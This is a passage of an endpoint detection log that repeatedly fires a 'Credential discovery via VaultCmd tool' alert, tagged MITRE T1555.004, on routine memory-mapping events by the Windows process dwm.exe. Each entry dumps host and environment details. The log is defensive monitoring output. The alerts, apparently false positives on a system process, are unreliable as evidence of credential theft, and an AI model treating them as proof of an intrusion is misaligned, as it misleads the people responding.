(x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4210194 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:33.3844518 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, tactic.name: Credential Access + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4210194 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:33.3844518 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, tactic.name: Credential Access, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4210194 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:33.3844518 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, tactic.name: Credential Access + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4210194 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:33.3844518 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, tactic.name: Credential Access, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4210194 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:33.3844518 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: technique.id: T1555, tactic.name: Credential Access, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4210194 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:33.3844518 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, tactic.name: Credential Access, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4211566 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:34.9266776 +0100 CET + Params: file_key➜ ffffa88aef2fe190, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132740000, view_size➜ 4096 + Metadata: tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, rule.name: Credential discovery via VaultCmd tool, tactic.name: Credential Access + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4211766 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:34.9652881 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c80000, view_size➜ 4096 + Metadata: technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program 